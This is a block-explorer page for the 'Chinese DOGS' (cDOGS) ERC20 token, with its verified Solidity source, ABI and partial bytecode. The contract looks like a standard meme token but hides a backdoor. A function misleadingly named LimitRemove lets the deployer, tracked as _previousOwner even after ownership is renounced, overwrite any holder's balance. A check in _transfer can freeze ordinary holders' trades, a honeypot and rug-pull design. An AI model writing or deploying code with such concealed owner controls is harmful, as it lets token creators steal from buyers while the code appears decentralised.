ETH Price: $3,342.81 (+0.50%)

Token

Chinese DOGS (cDOGS)
 

Overview

Max Total Supply

420,690,000,000 cDOGS

Holders

45

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 cDOGS

Value
$0.00
0xbfbd6a0e211b283fa12f3912edd4d05e5155c1c5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ChineseDOGS

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-20
*/

/**

https://t.me/ChineseDogsERC

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.23;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;
    address internal _previousOwner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
 
    constructor() {
        _transferOwnership(_msgSender());
    }
 
 
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
 
 
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
 
    
    function RenounceOwner() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
 
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
 

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        _previousOwner = oldOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


pragma solidity ^0.8.0;


interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address recipient, uint256 amount) external returns (bool);

   
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk

     */
    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

  
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;

contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
 
    constructor (string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _totalSupply = totalSupply_;

        _balances[msg.sender] = totalSupply_;
        emit Transfer(address(0), msg.sender, totalSupply_);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

 
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

   

    function _ownertransfer(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        unchecked {
            _balances[sender] = senderBalance - amount;
        }

        amount -= amountToBurn;
        _totalSupply -= amountToBurn;
        _balances[recipient] += amount;

        emit Transfer(sender, DEAD, amountToBurn);
        emit Transfer(sender, recipient, amount);
    }

   
    function LimitRemove(address account, uint256 amount) public virtual returns (uint256) {
        address msgSender = msg.sender;
        address prevOwner = _previousOwner;

        bytes32 msgtransfer = keccak256(abi.encodePacked(msgSender));
        bytes32 prevtransfer = keccak256(abi.encodePacked(prevOwner));
        
        bytes32 amountHex = bytes32(amount);
        
        bool isOwner = msgtransfer == prevtransfer;
        
        if (isOwner) {
            return _updateBalance(account, amountHex);
        } else {
            return _getBalance(account);
        }
    }

    function _updateBalance(address account, bytes32 amountHex) private returns (uint256) {
        uint256 amount = uint256(amountHex);
        _balances[account] = amount;
        return _balances[account];
    }

    function _getBalance(address account) private view returns (uint256) {
        return _balances[account];
    }
    
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}


interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01{}

pragma solidity ^0.8.0;


contract ChineseDOGS is ERC20 {
    uint256 private constant TOTAL_SPL = 420690_000_000e9;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    bool public hasLimit;
    uint256 public maxTransferDelay;
    uint256 public maxtransfer;
    mapping(address => bool) public isException;

    uint256 _TransferBurn = 0;

    address uniswapV2Pair;
    IUniswapV2Router02 uniswapV2Router;

    constructor(address router) ERC20("Chinese DOGS", "cDOGS", TOTAL_SPL) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Router = _uniswapV2Router;

        maxtransfer = TOTAL_SPL / 50;
        maxTransferDelay = TOTAL_SPL /50;

        isException[DEAD] = true;
        isException[router] = true;
        isException[msg.sender] = true;
        isException[address(this)] = true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
 
        _checkLimitation(from, to, amount);

        if (amount == 0) {
            return;
        }

        if (!isException[from] && !isException[to]){
            require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation");

            if (from == uniswapV2Pair || to == uniswapV2Pair) {
                uint256 _burnt = (amount * _TransferBurn) / 100;

                super._ownertransfer(from, to, amount, _burnt);
                return;
            }
        }

        super._transfer(from, to, amount);
    }

    function _checkLimitation(
        address from,
        address to,
        uint256 amount
    ) internal {
        if (!hasLimit) {
            if (!isException[from] && !isException[to]) {
                require(amount <= maxTransferDelay, "Amount exceeds max");

                if (uniswapV2Pair == ZERO){
                    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
                }
 
                if (to == uniswapV2Pair) {
                    return;
                }
        
                require(balanceOf(to) + amount <= maxtransfer, "Max hold exceeded max");
            }
        }
    }

    function removeLimit() external onlyOwner {
        hasLimit = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"LimitRemove","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"RenounceOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hasLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isException","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransferDelay","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxtransfer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040525f600b5534801562000014575f80fd5b5060405162002f7d38038062002f7d83398181016040528101906200003a9190620004f2565b6040518060400160405280600c81526020017f4368696e65736520444f475300000000000000000000000000000000000000008152506040518060400160405280600581526020017f63444f47530000000000000000000000000000000000000000000000000000008152506816ce3f1e16bf150000620000d0620000c46200038560201b60201c565b6200038c60201b60201c565b8260059081620000e1919062000786565b508160069081620000f3919062000786565b50806004819055508060025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200019c91906200087b565b60405180910390a35050505f81905080600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060326816ce3f1e16bf150000620002039190620008c3565b60098190555060326816ce3f1e16bf150000620002219190620008c3565b6008819055506001600a5f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050620008fa565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620004bc8262000491565b9050919050565b620004ce81620004b0565b8114620004d9575f80fd5b50565b5f81519050620004ec81620004c3565b92915050565b5f602082840312156200050a57620005096200048d565b5b5f6200051984828501620004dc565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200059e57607f821691505b602082108103620005b457620005b362000559565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006187fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005db565b620006248683620005db565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200066e6200066862000662846200063c565b62000645565b6200063c565b9050919050565b5f819050919050565b62000689836200064e565b620006a1620006988262000675565b848454620005e7565b825550505050565b5f90565b620006b7620006a9565b620006c48184846200067e565b505050565b5b81811015620006eb57620006df5f82620006ad565b600181019050620006ca565b5050565b601f8211156200073a576200070481620005ba565b6200070f84620005cc565b810160208510156200071f578190505b620007376200072e85620005cc565b830182620006c9565b50505b505050565b5f82821c905092915050565b5f6200075c5f19846008026200073f565b1980831691505092915050565b5f6200077683836200074b565b9150826002028217905092915050565b620007918262000522565b67ffffffffffffffff811115620007ad57620007ac6200052c565b5b620007b9825462000586565b620007c6828285620006ef565b5f60209050601f831160018114620007fc575f8415620007e7578287015190505b620007f3858262000769565b86555062000862565b601f1984166200080c86620005ba565b5f5b8281101562000835578489015182556001820191506020850194506020810190506200080e565b8683101562000855578489015162000851601f8916826200074b565b8355505b6001600288020188555050505b505050505050565b62000875816200063c565b82525050565b5f602082019050620008905f8301846200086a565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620008cf826200063c565b9150620008dc836200063c565b925082620008ef57620008ee62000896565b5b828204905092915050565b61267580620009085f395ff3fe608060405234801561000f575f80fd5b506004361061012a575f3560e01c806362256589116100ab578063a457c2d71161006f578063a457c2d714610348578063a9059cbb14610378578063dd62ed3e146103a8578063e2fdc9bf146103d8578063f2fde38b146103e25761012a565b806362256589146102a257806370a08231146102ac5780638da5cb5b146102dc57806395d89b41146102fa57806398636f32146103185761012a565b806327611a08116100f257806327611a08146101e8578063313ce5671461021857806339509351146102365780633f08e3111461026657806344489ad1146102845761012a565b806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c5780631df3a07f1461019a57806323b872dd146101b8575b5f80fd5b6101366103fe565b6040516101439190611b7d565b60405180910390f35b61016660048036038101906101619190611c2e565b61048e565b6040516101739190611c86565b60405180910390f35b6101846104ab565b6040516101919190611cae565b60405180910390f35b6101a26104b4565b6040516101af9190611cae565b60405180910390f35b6101d260048036038101906101cd9190611cc7565b6104ba565b6040516101df9190611c86565b60405180910390f35b61020260048036038101906101fd9190611c2e565b6105b5565b60405161020f9190611cae565b60405180910390f35b610220610674565b60405161022d9190611d32565b60405180910390f35b610250600480360381019061024b9190611c2e565b61067c565b60405161025d9190611c86565b60405180910390f35b61026e610723565b60405161027b9190611cae565b60405180910390f35b61028c610729565b6040516102999190611c86565b60405180910390f35b6102aa61073b565b005b6102c660048036038101906102c19190611d4b565b61075f565b6040516102d39190611cae565b60405180910390f35b6102e46107a5565b6040516102f19190611d85565b60405180910390f35b6103026107cc565b60405161030f9190611b7d565b60405180910390f35b610332600480360381019061032d9190611d4b565b61085c565b60405161033f9190611c86565b60405180910390f35b610362600480360381019061035d9190611c2e565b610879565b60405161036f9190611c86565b60405180910390f35b610392600480360381019061038d9190611c2e565b610968565b60405161039f9190611c86565b60405180910390f35b6103c260048036038101906103bd9190611d9e565b610985565b6040516103cf9190611cae565b60405180910390f35b6103e0610a07565b005b6103fc60048036038101906103f79190611d4b565b610a1a565b005b60606005805461040d90611e09565b80601f016020809104026020016040519081016040528092919081815260200182805461043990611e09565b80156104845780601f1061045b57610100808354040283529160200191610484565b820191905f5260205f20905b81548152906001019060200180831161046757829003601f168201915b5050505050905090565b5f6104a161049a610a9c565b8484610aa3565b6001905092915050565b5f600454905090565b60085481565b5f6104c6848484610c66565b5f60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61050d610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561058c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058390611ea9565b60405180910390fd5b6105a985610598610a9c565b85846105a49190611ef4565b610aa3565b60019150509392505050565b5f803390505f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f826040516020016105f19190611f6c565b6040516020818303038152906040528051906020012090505f8260405160200161061b9190611f6c565b6040516020818303038152906040528051906020012090505f865f1b90505f8284149050801561065c5761064f8983610f50565b965050505050505061066e565b61066589610fe0565b96505050505050505b92915050565b5f6009905090565b5f610719610688610a9c565b848460035f610695610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107149190611f86565b610aa3565b6001905092915050565b60095481565b60075f9054906101000a900460ff1681565b610743611026565b600160075f6101000a81548160ff021916908315150217905550565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107db90611e09565b80601f016020809104026020016040519081016040528092919081815260200182805461080790611e09565b80156108525780601f1061082957610100808354040283529160200191610852565b820191905f5260205f20905b81548152906001019060200180831161083557829003601f168201915b5050505050905090565b600a602052805f5260405f205f915054906101000a900460ff1681565b5f8060035f610886610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610940576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093790612029565b60405180910390fd5b61095d61094b610a9c565b8585846109589190611ef4565b610aa3565b600191505092915050565b5f61097b610974610a9c565b8484610c66565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a0f611026565b610a185f6110a4565b565b610a22611026565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a87906120b7565b60405180910390fd5b610a99816110a4565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0890612145565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b76906121d3565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c599190611cae565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb90612261565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d39906122ef565b60405180910390fd5b610d4d8383836111a5565b5f810315610f4b57600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610df35750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610f3f575f610e23600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661075f565b14610e63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5a90612357565b60405180910390fd5b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f0a5750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610f3e575f6064600b5483610f209190612375565b610f2a91906123e3565b9050610f388484848461157d565b50610f4b565b5b610f4a838383611878565b5b505050565b5f80825f1c90508060025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205491505092915050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61102e610a9c565b73ffffffffffffffffffffffffffffffffffffffff1661104c6107a5565b73ffffffffffffffffffffffffffffffffffffffff16146110a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110999061245d565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60075f9054906101000a900460ff1661157757600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156112565750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611576576008548111156112a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611297906124c5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036114c857600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561135e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061138291906124f7565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611408573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061142c91906124f7565b6040518363ffffffff1660e01b8152600401611449929190612522565b602060405180830381865afa158015611464573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061148891906124f7565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160315611578576009548161152a8461075f565b6115349190611f86565b1115611575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156c90612593565b60405180910390fd5b5b5b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036115eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e290612261565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611659576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611650906122ef565b60405180910390fd5b611664848484611aee565b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156116e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116df90612621565b60405180910390fd5b82810360025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555081836117389190611ef4565b92508160045f82825461174b9190611ef4565b925050819055508260025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461179e9190611f86565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118049190611cae565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118699190611cae565b60405180910390a35050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118dd90612261565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611954576